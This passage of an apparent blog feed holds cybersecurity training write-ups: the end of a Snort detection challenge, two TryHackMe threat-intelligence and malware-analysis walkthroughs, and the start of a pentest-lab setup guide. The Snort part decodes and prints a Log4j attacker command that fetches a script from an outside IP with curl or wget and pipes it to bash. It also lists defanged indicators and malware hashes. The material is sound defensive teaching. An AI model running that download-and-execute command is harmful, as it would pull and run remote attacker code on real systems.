src="https://cdn-images-1.medium.com/max/936/0*INfF_6Tn1H5X7JuZ.png" /></figure><h3>Question 3: What are the first six digits of the triggered rule sids?</h3><p><strong>Step 1: Examine SID Numbers</strong></p><p>Look at the SID fields in the alerts.</p><p><strong>Answer: 210037</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*AFRkhxcvde0GK_fz.png" /></figure><h3>Question 4: Write a rule to detect packet payloads between 770 and 855 bytes. What is the number of detected packets?</h3><p><strong>Step 1: Clean Files</strong></p><pre>rm -rf alert snort.log.*</pre><p><strong>Step 2: Create Payload Size Rule</strong></p><pre>sudo gedit local-1.rules</pre><pre>alert tcp any any -&gt; any any (msg:&quot;Payload size between 770 and 855 bytes detected&quot;; dsize:770&lt;&gt;855; sid:100006; rev:1;)</pre><p><strong>Understanding dsize Option:</strong></p><ul><li>dsize: Matches based on payload size</li><li>770&lt;&gt;855: Between 770 and 855 bytes inclusive</li></ul><p><strong>Answer: 41</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*fFUeajFufn3TApwz.png" /></figure><h3>Question 5: What is the name of the used encoding algorithm?</h3><p><strong>Step 1: Examine Packet Contents</strong></p><p>Look for encoding indicators in the packet payloads.</p><p><strong>Answer: Base64</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*F-QkVrtJXxP1cYiZ.png" /></figure><h3>Question 6: What is the IP ID of the corresponding packet?</h3><p><strong>Step 1: Search for Specific IP</strong></p><pre>sudo cat alert | grep -e 45.155.205.233 -e ID</pre><p><strong>Answer: 62808</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*tdaShJuSLtIUhSOb.png" /></figure><h3>Question 7: Decode the encoded command. What is the attacker’s command?</h3><p><strong>Step 1: Extract Base64 String</strong></p><p>From the logs, copy the Base64 encoded payload: KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMC4yMjguMjUzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE2Mi4wLjIyOC4yNTM6ODApfGJhc2g=</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*Dr0qAhT33usTqtum.png" /></figure><p><strong>Step 2: Decode Using Online Tool</strong></p><p>Use any Base64 decoder to decode this string.</p><p><strong>Answer: (curl -s 45.155.205.233:5874/162.0.228.253:80||wget -q -O- 45.155.205.233:5874/162.0.228.253:80)|bash</strong></p><p><strong>Understanding the Attack:</strong> This command attempts to download and execute a malicious script from a remote server, which is a common technique in Log4j exploitation.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*17e0rqyFZHT_Duoj.png" /></figure><h3>Question 8: What is the CVSS v2 score of the Log4j vulnerability?</h3><p><strong>Answer: 9.3</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*Y39GuLoFTdlCIZBH.png" /></figure><h3>Key Learning Outcomes</h3><p>By completing this challenge, you’ve mastered:</p><ol><li><strong>Rule Writing</strong>: Creating effective Snort detection rules for various protocols</li><li><strong>Packet Analysis</strong>: Extracting detailed information from network packets</li><li><strong>Protocol Understanding</strong>: How HTTP, FTP, and file transfers work at packet level</li><li><strong>Vulnerability Detection</strong>: Identifying signs of real-world attacks like EternalBlue and Log4j</li><li><strong>Debugging Skills</strong>: Troubleshooting syntax and logical errors in rules</li><li><strong>Forensic Analysis</strong>: Investigating network traffic for malicious activity</li></ol><p><strong>Total Learning Time:</strong> 3–4 hours<br><strong>Skills Gained:</strong> Network intrusion detection, packet analysis, rule development, vulnerability assessment</p><p><em>Happy hunting, and remember: practice makes perfect in cybersecurity!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d51c060535f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Trooper TryHackMe WalkThrough]]></title>
            <link>https://medium.com/@pavandeepkaur3/trooper-tryhackme-walkthrough-87d4d68f5f12?source=rss-ee33663a866d------2</link>
            <guid isPermaLink="false">https://medium.com/p/87d4d68f5f12</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Pavandeep Kaur]]></dc:creator>
            <pubDate>Sat, 23 Aug 2025 15:54:28 GMT</pubDate>
            <atom:updated>2025-08-24T16:49:48.980Z</atom:updated>
            <content:encoded><![CDATA[<p>So It got me right away. Specially when I saw the question I knew I have to do this one. So lets do this :)</p><p>- CTI<br>- Mitre Att&amp;ck Framework<br>- and Report understanding.<br>So basically it is a Blue teamers fun all day Box.</p><h3>Question 1:: What kind of phishing campaign does APT X use as part of their TTPs?</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*PUyISC6AS6h5CkVk.png" /></figure><p>It is basically within the report provided so we just need to read it carefully at least once.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/0*YDcWf_Z1x-bXQfKh.png" /></figure><blockquote><em>Answer:: Spear-Phising emails</em></blockquote><blockquote>Question 2:: What is the name of the malware used by APT X?</blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*O_T5ajzhWfUyj1OK.png" /></figure><p>Same as question 1. We just need to read the report and it is provided :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/0*A6-zo0rK8ffH9rDg.png" /></figure><blockquote><em>Answer:: USBferry</em></blockquote><h3>Question 3:: What is the malware’s STIX ID?</h3><p>Now this is not within the report obviously. So we need to use the provided Open CTI instance. All credentials are provided just log in.</p><p>Once logged in click into the “Search” box and type in “USBferry”</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*Ogq9QlR5avOA2sG6.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*oloqOFR3X-3P6OAx.png" /></figure><p>You will see two options coming up but select the Malware option</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*-ws8yKeB90KfgMr-.png" /></figure><p>Once done you will see the answer.</p><blockquote><em>Answer:: malware — 5d0ea014–1ce9–5d5c-bcc7-f625a07907d0</em></blockquote><h3>Question 4:: With the use of a USB, what technique did APT X use for initial access?</h3><p>This has multiple solutions I picked the easiest for myself.</p><p>Go to Mitre Att&amp;ck website. Select Tactics -&gt; Enterprise</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*9BJSKngFFsF1fpKi.png" /></figure><p>Then within the “Enterprise” section under Tactics on the left you can find “Initial Access”</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/0*Md2u6f8nmkWFSbi6.png" /></figure><p>Once this is picked we just need to find the answer here. We know from the report that they use “USB” and they operate within “Air-gapped” networks.</p><p>I wont pull this but if you look for “USB” aka “Removable Media” you get a lot of results but only one with a mach with “Air-gapped” networks and that is?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*QuJ31Oc9nuIDvEkU.png" /></figure><blockquote><em>Answer:: Replication Through Removable Media</em></blockquote><h3>Question 5:: What is the identity of APT X?</h3><p>This is an easy one. The answer is basically within the Open CTI search we did earlier.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*9ShkQls_BAv9vrDg.png" /></figure><blockquote><em>Answer:: Tropic Trooper</em></blockquote><h3>Question 6:: On OpenCTI, how many Attack Pattern techniques are associated with the APT?</h3><p>So we need Open CTI for this as well. Lets search for “Tropic Trooper”.</p><p>Once done select “Knowledge” on the top bar.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*e0GmOwRBSGH-PshP.png" /></figure><p>Under Distribution of Relations you can see that they have 39 known attack petterns by Open CTI.</p><blockquote><em>Answer:: 39</em></blockquote><h3>Question 7:: What is the name of the tool linked to the APT?</h3><p>Same place dont go anywhere :)</p><p>On the right you see a menu element called “Arsenal” and no its not the football team :D</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/0*muleipuR4Q2pUgHZ.png" /></figure><p>There click the “Tools” submenu.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*PanzLdyKeUPV-M3O.png" /></figure><p>And we have a winner for thisone too.</p><blockquote><em>Answer:: BITSAdmin</em></blockquote><blockquote>Question 8:: Load up the Navigator. What is the sub-technique used by the APT under Valid Accounts?</blockquote><p>Just for the record this has multiple ways to solve it.</p><p>Load up Mitre page and under the groups look for the “Tropic Trooper”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/0*OT9IbwxEKPrmdVAh.png" /></figure><p>Then hit “Ctrl + f” and search for Valid Accounts.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*C1jbJHOePDLzJPxs.png" /></figure><blockquote><em>Answer:: Local Accounts</em></blockquote><h3>Question 9:: Under what Tactics does the technique above fall?</h3><p>Easy one on the same page we were previously.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*oqfuhQ31t20YG8GK.png" /></figure><p>Click the T1078 tactic link.</p><p>Will get you here.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*QlpaOWjg9X4vC4Sf.png" /></figure><p>On the right we can already see what Tactics does this fall under.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/0*UB_tM3ua7fpz3R8t.png" /></figure><blockquote><em>Answer:: </em><a href="https://attack.mitre.org/tactics/TA0005"><em>Defense Evasion</em></a><em>, </em><a href="https://attack.mitre.org/tactics/TA0003"><em>Persistence</em></a><em>, </em><a href="https://attack.mitre.org/tactics/TA0004"><em>Privilege Escalation</em></a><em>, </em><a href="https://attack.mitre.org/tactics/TA0001"><em>Initial Access</em></a></blockquote><h3>Question 10:: What technique is the group known for using under the tactic Collection?</h3><p>For fun and to switch lets use Open CTI for this.</p><p>Go to Open CTI page where we were previously and on the right side under “Arsenal” select “Attack patterns”</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*pGEye9EyW2YGZDly.png" /></figure><p>Look for the “collection” column. The answer is already highlighted by Open CTI.</p><blockquote><em>Answer:: Automated Collection</em></blockquote><p>“HAPPY READING”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87d4d68f5f12" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Friday Overtime | Tryhackme walkthrough]]></title>
            <link>https://medium.com/@pavandeepkaur3/friday-overtime-tryhackme-walkthrough-210c7ca74abd?source=rss-ee33663a866d------2</link>
            <guid isPermaLink="false">https://medium.com/p/210c7ca74abd</guid>
            <category><![CDATA[soc-cyber-security]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[fridayovernight]]></category>
            <category><![CDATA[cyber-threat-intelligence]]></category>
            <dc:creator><![CDATA[Pavandeep Kaur]]></dc:creator>
            <pubDate>Thu, 21 Aug 2025 06:33:52 GMT</pubDate>
            <atom:updated>2025-08-21T06:51:24.667Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Guys this is my 1st writeup in SOC analyst path</p><p>My English is not that good, so if there is any mistake, I apologize for that, but I will try to write well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/0*azrVJbcOG7sNmX_6.png" /></figure><p>Step 1 : Login via the web portal</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*M2U5rA72hC2vCvIF.png" /></figure><p>Step 2 :</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*xx1iDwnrnWL9nT6C.png" /></figure><p>Step 3: Download the malware file.</p><p>After downloading, go to Terminal’s Downloads location</p><p>type : <strong>unzip samples.zip<br></strong>password for samples.zip is <strong>Panda321!</strong></p><p><strong>Terminal :</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*0PNv89oh7PsZPmT6.png" /></figure><p>Q1:Who shared the malware samples ?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*OIhFkTSaIG00bLwY.png" /></figure><p>ANS: Oliver Bennett</p><p>Q2: What is the SHA1 hash of the file “pRsm.dll” inside samples.zip?</p><p>Refer the terminal Screenshot: 9d1ecbbe8637fed0d89fca1af35ea821277ad2e8</p><p>Q3: Which malware framework utilizes these DLLs as add-on modules?</p><p>Ans: MgBot</p><p>HOW ?<br>I searched using the sha1sum of pRsm.dll. I found on it</p><h3><a href="https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/?source=post_page-----bfcfb70e1394---------------------------------------">Evasive Panda APT group delivers malware via updates for popular Chinese software</a></h3><h3><a href="https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/?source=post_page-----bfcfb70e1394---------------------------------------">ESET Research uncovers a campaign by the APT group known as Evasive Panda targeting an international NGO in China with…</a></h3><p><a href="https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/?source=post_page-----bfcfb70e1394---------------------------------------">www.welivesecurity.com</a></p><p>Read fully for understanding 👆👆👆</p><p>Q3:Which MITRE ATT&amp;CK Technique is linked to using pRsm.dll in this malware framework?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*3ZxDNcOdhrAZ-ukq.png" /></figure><p>Ans : T1123</p><h3><a href="https://cybermaterial.com/evasive-panda-apt-threat-actor/?source=post_page-----bfcfb70e1394---------------------------------------">Evasive Panda (APT) — Threat Actor</a></h3><h3><a href="https://cybermaterial.com/evasive-panda-apt-threat-actor/?source=post_page-----bfcfb70e1394---------------------------------------">Overview Evasive Panda, a highly sophisticated Advanced Persistent Threat (APT) group, has been conducting covert…</a></h3><p><a href="https://cybermaterial.com/evasive-panda-apt-threat-actor/?source=post_page-----bfcfb70e1394---------------------------------------">cybermaterial.com</a></p><p>Q4:What is the CyberChef defanged URL of the malicious download location first seen on 2020–11–02?<br>Ans :</p><p>hxxp[://]update[.]browser[.]qq[.]com/qmbs/QQ/QQUrlMgr_QQ88_4296.exe</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*YuAFpGDfwK-Y8DDR.png" /></figure><p>Q5:What is the CyberChef defanged IP address of the C&amp;C server first detected on 2020–09–14 using these modules?</p><p>Ans : 122[.]10[.]90[.]12</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/0*i8U6GojcQVklSfyV.png" /></figure><p>Q6:What is the SHA1 hash of the spyagent family spyware hosted on the same IP targeting Android devices on November 16, 2022?</p><p>Ans : 1c1fe906e822012f6235fcc53f601d006d15d7be</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*SBt4L0Xf7JvhBgxg.png" /></figure><p>in Communicating Files (4) on Types see “Android” click the Name belonging to hashes.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/0*Gl8R3Jhx_VCplru3.png" /></figure><p>HAPPY READING, I think you enjoyed it 👍</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=210c7ca74abd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building Your Own Test Environment For Pentesting]]></title>
            <link>https://medium.com/@pavandeepkaur3/building-your-own-test-environment-for-pentesting-b88ec28434ef?source=rss-ee33663a866d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b88ec28434ef</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[labs]]></category>
            <category><![CDATA[tools]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking-for-defense]]></category>
            <dc:creator><![CDATA[Pavandeep Kaur]]></dc:creator>
            <pubDate>Mon, 09 Jun 2025 04:03:25 GMT</pubDate>
            <atom:updated>2025-06-09T04:14:47.044Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Important Tools for Penetration Testing" src="https://cdn-images-1.medium.com/max/768/1*6_j3Y-YW6GzLQjlhQbj-CA.jpeg" /></figure><h3>Introduction</h3><p>Building Your Own Test Environment For Pentesting. This module is designed for aspiring cybersecurity enthusiasts, ethical hackers, and IT professionals who are looking to build and utilize a test environment for penetration testing (pentesting). Our journey will involve setting up a controlled, safe, and legal environment for testing hacking skills and tools, which is crucial for developing cybersecurity expertise without risking legal and ethical violations.</p><h3>What is Pentesting?</h3><p>Pen testing, or penetration testing, is a simulated cyber attack against your computer system to check for exploitable vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*KTAGfp0dUq16bpeQrnjYBA.png" /></figure><h3>Why a Test Environment?</h3><ol><li><strong>Safety</strong>: A test environment keeps your experiments isolated from production systems, ensuring that your regular operations remain secure and unaffected.</li><li><strong>Control</strong>: You have complete control over the testing parameters, which allows for more thorough and specific testing scenarios.</li><li><strong>Legality and Ethics</strong>: Using a controlled test environment ensures that you’re not illegally accessing or damaging systems that you do not own.</li></ol><h3>Module Overview</h3><h4>Setting Up the Test Environment:</h4><p>We will start by setting up a virtual network, which will include configuring virtual machines (VMs) using tools like <a href="https://www.vmware.com/">VMware</a> or <a href="https://www.virtualbox.org/">VirtualBox</a>.</p><p>Installation and configuration of operating systems (Linux, Windows) on these VMs will be covered.</p><p>Introduction to network configuration within a virtual environment.</p><h4>Tool Installation:</h4><p>Essential tools for pentesting such as Kali Linux (the operating system itself), Metasploit, Burp Suite, and Wireshark will be discussed.</p><p>We will guide you through the installation and basic configuration of these tools.</p><h4>Creating a Test Plan:</h4><p>Developing test plans to outline your objectives, scope, and methods.</p><p>Understanding different types of pentests: black box, white box, and grey box testing.</p><h4>Conducting Tests:</h4><p>Executing various pentest methodologies.</p><p>Identifying and exploiting vulnerabilities.</p><p>Documenting findings and preparing reports.</p><h4>Cleanup and Restoration:</h4><p>Post-testing procedures to ensure the test environment is reset or restored, ready for future tests.</p><h4>Legal and Ethical Considerations:</h4><p>Understanding the legal implications and ethical standards in pentesting.</p><h4>Advanced Topics:</h4><p>Moving to more advanced scenarios, including scripting for automation and simulating more complex attack vectors.</p><h3>Production vs Test vs Staging</h3><p>Let’s get some documentation out of the way to understand what we are about to get into. The different environments in software development — Development, Staging, and Production, each play a unique role in the lifecycle of software creation and maintenance. Understanding these environments is crucial for successful software development and deployment.</p><h3>Development Environment</h3><p>The Development Environment is where software ideas are conceptualized and developed. It’s a creative space for writing and testing code, experimenting with functionalities, and troubleshooting errors. This environment is characterized by rapid iteration and constant improvement, focusing on coding and feature development. It’s the first stage where software is developed and typically runs on local machines or a central development server. In this environment, developers can freely try various things, from testing the speed of the server to trying migrations​​​.</p><h3>Staging Environment</h3><p>The Staging Environment is a critical step before the Production Environment. It’s a replica of the production environment to ensure software works correctly before it goes live. The staging environment is used for System Integration Testing (SIT), Quality Assurance (QA), security testing, and other forms of in-depth testing. It’s where developers deploy their code in a way that mimics the production application, using the same services and configurations but typically without real data. This environment is essential for confirming new updates and features and is often restricted to a small number of selected users​​​​​.</p><h3>Production Environment</h3><p>The Production Environment is where the software is officially launched and made available to users. It’s the final destination of the software journey, where end-users interact with the software. This environment must be stable, secure, and optimized for performance. Reliability and optimal performance are critical in the production environment. It’s important to note that while the production environment is crucial, development environments can also be highly critical to a business. The software in the production environment should be considered the final product, although urgent fixes can be made if necessary​​​​​.</p><h3>Key Differences</h3><ul><li><strong>Development Environment</strong>: Focuses on innovation, rapid iteration, and development of new features.</li><li><strong>Staging Environment</strong>: Used for thorough testing and quality assurance, mirroring the production environment as closely as possible.</li><li><strong>Production Environment</strong>: The live environment for end-users, focusing on reliability, stability, and performance.</li></ul><h3>Best Practices</h3><ul><li><strong>Security</strong>: Implement robust security protocols in each environment.</li><li><strong>Testing</strong>: Thoroughly test in the staging environment before moving to production.</li><li><strong>Monitoring</strong>: Continuously monitor the production environment for optimal performance.</li></ul><h4><strong>Setting Up the Test Environment</strong></h4><p>Installing Kali Linux on Oracle VM VirtualBox is a common setup for cybersecurity professionals and enthusiasts. Let’s dive into what Kali Linux is, why VirtualBox is a suitable platform for it, and then go step-by-step through the installation process.</p><h3>What is Kali Linux?</h3><p>Kali Linux is a Debian-based Linux distribution designed for digital forensics and penetration testing. It comes preloaded with hundreds of tools used for hacking, network security, and digital investigations. Kali is widely used in cybersecurity circles for vulnerability analysis, network scanning, and ethical hacking.</p><h3>Why Oracle VM VirtualBox?</h3><p><a href="https://www.virtualbox.org/">Oracle VM VirtualBox</a> is a free, open-source hosted hypervisor for x86 virtualization. It’s suitable for running Kali Linux due to its:</p><p>VirtualBox offers a user-friendly interface and straightforward configuration options. It runs on Windows, macOS, Linux, and Solaris, making Kali Linux accessible regardless of your host OS. VirtualBox also provides flexible network configurations, USB device support, and shared folders, which are beneficial for various cybersecurity tasks.</p><h3>Step-by-Step Guide to Install Kali Linux on VirtualBox</h3><h4>1. Downloading Necessary Software</h4><ul><li><strong>Kali Linux ISO</strong>:</li><li>Visit the official Kali Linux download page.</li><li><a href="https://www.kali.org/get-kali">https://www.kali.org/get-kali/</a></li><li>Download the Kali Linux ISO file suitable for your system (64-bit or 32-bit).</li><li><strong>Oracle VM VirtualBox</strong>:</li><li>Go to the VirtualBox download page.</li><li><a href="https://www.virtualbox.org/wiki/Downloads">https://www.virtualbox.org/wiki/Downloads</a></li><li>Download the latest version of VirtualBox for your operating system.</li></ul><h4>2. Installing Oracle VM VirtualBox</h4><ul><li><strong>Run the Installer</strong>:</li><li>Open the downloaded VirtualBox installer.</li><li>Follow the prompts to install VirtualBox on your system. Default options are usually adequate.</li></ul><h4>3. Creating a New Virtual Machine</h4><ul><li><strong>Open VirtualBox and Create New VM</strong>:</li><li>Open VirtualBox and click “New”.</li><li>Name your VM (e.g., “Kali Linux”) and choose “Linux” as the type and “Debian” as the version.</li></ul><h4>4. Configuring the Virtual Machine</h4><ul><li><strong>Memory Allocation</strong>:</li><li>Allocate memory (RAM) to the VM. A minimum of 2048 MB (2 GB) is recommended for Kali Linux.</li><li><strong>Creating a Virtual Hard Disk</strong>:</li><li>Create a virtual hard disk. Choose VDI (VirtualBox Disk Image) as the format.</li><li>Allocate disk space. 20 GB is a good starting point, but more can be allocated if available.</li><li><strong>Setting Up Network Interfaces</strong>:</li><li>Go to the VM settings → Network.</li><li>Set the Adapter to “Bridged Adapter” for a direct connection or “NAT” for network translation.</li></ul><h4>5. Installing Kali Linux</h4><ul><li><strong>Mount the Kali Linux ISO</strong>:</li><li>Start the VM and select “Choose a disk file” when prompted for a startup disk.</li><li>Navigate to the downloaded Kali Linux ISO file and select it.</li><li><strong>Follow the Installation Process</strong>:</li><li>The Kali Linux installer will start. Follow the on-screen instructions to install Kali Linux.</li><li>Choose your preferred language, location, keyboard layout, and set up your network.</li><li>When prompted, create a user and password.</li><li>Partition the disk as guided by the installer. For beginners, the guided partitioning using the entire disk is usually sufficient.</li><li><strong>Complete the Installation</strong>:</li><li>Once the installation completes, the VM will reboot, and you should be prompted to log in with the credentials you created.</li></ul><h3>Verifying Successful Installation and Initial Steps</h3><ul><li><strong>Successful Installation</strong>:</li><li>After reboot, you should see the Kali Linux desktop environment. Log in with your username and password to ensure everything is working correctly.</li><li><strong>Initial Steps</strong>:</li><li>Update your system by opening the terminal and running sudo apt update &amp;&amp; sudo apt upgrade.</li><li>Explore the pre-installed tools and customize your environment as needed.</li></ul><h3>Tool Installation</h3><h3>Kali Linux: A Treasure Trove of Pre-Installed Tools</h3><p>Kali Linux is a powerful distribution, specifically designed for penetration testing and security auditing. One of its key features is the vast array of pre-installed tools, catering to various aspects of cybersecurity such as network analysis, vulnerability scanning, password cracking, and forensics.</p><h3>Key Features:</h3><ul><li><strong>Extensive Toolkit</strong>: Kali comes with over 600 pre-installed tools for cybersecurity professionals.</li><li><strong>Customizability</strong>: Users can customize their toolset to fit specific needs.</li><li><strong>Regular Updates</strong>: The Kali repository ensures up-to-date tools and security patches.</li></ul><p>Kali’s diverse toolset supports a broad range of cybersecurity tasks, making it a versatile choice for professionals and enthusiasts alike.</p><h3>Burp Suite: Installation and Configuration</h3><p>Burp Suite is a comprehensive platform for web application security testing. Its various tools work seamlessly together to support the entire testing process.</p><h3>Installing Burp Suite:</h3><ol><li><strong>Download</strong>: Obtain the installer from the official Burp Suite website.</li><li><a href="https://portswigger.net/burp/communitydownload">https://portswigger.net/burp/communitydownload</a></li><li><strong>Installation</strong>: Run the installer and follow the on-screen instructions.</li></ol><h3>Initial Proxy Configuration:</h3><h4>Step 1: Installing FoxyProxy on Firefox</h4><ul><li><strong>Add FoxyProxy Extension</strong>:</li><li>Open Firefox.</li><li>Go to the Firefox Add-ons page and search for “FoxyProxy Standard”.</li><li>Add <a href="https://getfoxyproxy.org/">FoxyProxy</a> to Firefox.</li></ul><h4>Step 2: Configuring Firefox to Work with FoxyProxy</h4><ul><li><strong>Open FoxyProxy Options</strong>:</li><li>Click on the FoxyProxy icon in the Firefox toolbar.</li><li>Select “Options”.</li><li><strong>Add a New Proxy</strong>:</li><li>Click on “Add New Proxy”.</li><li>Configure it with the following settings:</li><li><strong>Title</strong>: Enter a name like “Burp”.</li><li><strong>Proxy Type</strong>: HTTP.</li><li><strong>IP address, Port</strong>: Enter 127.0.0.1 and 8080 (default Burp Suite settings).</li><li><strong>Save the Proxy Configuration</strong>:</li><li>Click “Save”.</li></ul><h4>Step 3: Setting Up FoxyProxy to Route Traffic Through Burp Suite</h4><ul><li><strong>Enable the Proxy in FoxyProxy</strong>:</li><li>Click on the FoxyProxy icon.</li><li>Select the proxy you named “Burp” to route traffic through Burp Suite.</li></ul><h4>Step 4: Configuring HTTPS Traffic Interception in Burp Suite</h4><ul><li><strong>Launch Burp Suite</strong>:</li><li>Start Burp Suite and go to the “Proxy” tab.</li><li>Ensure “Intercept is on” in the “Intercept” sub-tab.</li><li><strong>Install Burp’s CA Certificate</strong>:</li><li>In your browser, visit <a href="http://burp./">http://burp.</a></li><li>Download the CA Certificate and install it in Firefox (Preferences → Privacy &amp; Security → View Certificates → Import).</li><li>This step is critical to avoid SSL/TLS errors when intercepting HTTPS traffic.</li></ul><h3>Verifying the Setup</h3><ul><li><strong>Test Configuration</strong>:</li><li>With Burp Suite running and FoxyProxy set to route through Burp, visit any HTTP/HTTPS site in Firefox.</li><li>In Burp Suite, under the “Proxy” → “HTTP history” tab, you should see the record of the site you visited.</li><li><strong>Check HTTPS Interception</strong>:</li><li>Try accessing an HTTPS site.</li><li>Ensure there are no security warnings in Firefox and that the traffic appears in Burp Suite’s history.</li></ul><h3>Common Pitfalls to Avoid</h3><p>If you get certificate errors when accessing HTTPS sites, recheck the CA Certificate installation.</p><p>Ensure that the IP address and port in FoxyProxy match those in Burp Suite.</p><p>Remember to turn off the “Intercept” mode in Burp Suite when not actively intercepting traffic, as it can halt your browsing.</p><h3>Features:</h3><ul><li><strong>Interception Proxy</strong>: Monitors and manipulates traffic between your browser and the target application.</li><li><strong>Repeater</strong>: Allows you to repeat any request, and change the entire Request Body.</li><li><strong>Scanner</strong>: Automated vulnerability scanning tool.</li><li><strong>Intruder</strong>: Customizable tool for performing automated attacks.</li></ul><p>Burp Suite is an essential tool for web application security testing, offering both manual and automated analysis capabilities.</p><h3>Wireshark: Installation and Basics</h3><p>Wireshark is a free and open-source network protocol analyzer. It’s widely used for network troubleshooting, analysis, software and protocol development, and educational purposes. In cybersecurity, it’s crucial for monitoring and analyzing network traffic to detect malicious activities, understand network behavior, and diagnose problems.</p><h3>Installing Wireshark</h3><p>For this guide, let’s focus on installing Wireshark on Windows, as it’s one of the most common operating systems.</p><h4>Step-by-Step Installation on Windows</h4><ul><li><strong>Download the Installer</strong>:</li><li>Visit the Wireshark download page.</li><li><a href="https://www.wireshark.org/download.html">https://www.wireshark.org/download.html</a></li><li>Download the latest stable version for Windows.</li><li><strong>Run the Installer</strong>:</li><li>Open the downloaded file.</li><li>Follow the installation wizard. Default options are typically sufficient for most users.</li><li>Ensure you install the WinPcap or Npcap library when prompted, as it’s necessary for capturing packets.</li><li><strong>Complete the Installation</strong>:</li><li>Finish the wizard and launch Wireshark.</li></ul><h3>Basic Usage of Wireshark</h3><h4>Starting a Capture Session</h4><ul><li><strong>Select a Network Interface</strong>:</li><li>Upon opening Wireshark, you’ll see a list of available network interfaces.</li><li>Select the one corresponding to your network connection (e.g., Ethernet for wired, Wi-Fi for wireless).</li><li><strong>Start Capturing</strong>:</li><li>Click on the chosen interface to start capturing packets.</li></ul><h4>Analyzing Captured Data</h4><ul><li><strong>Understanding the Interface</strong>:</li><li>The top pane shows the packets captured.</li><li>The middle pane details the layers within a selected packet.</li><li>The bottom pane provides a hexadecimal and ASCII 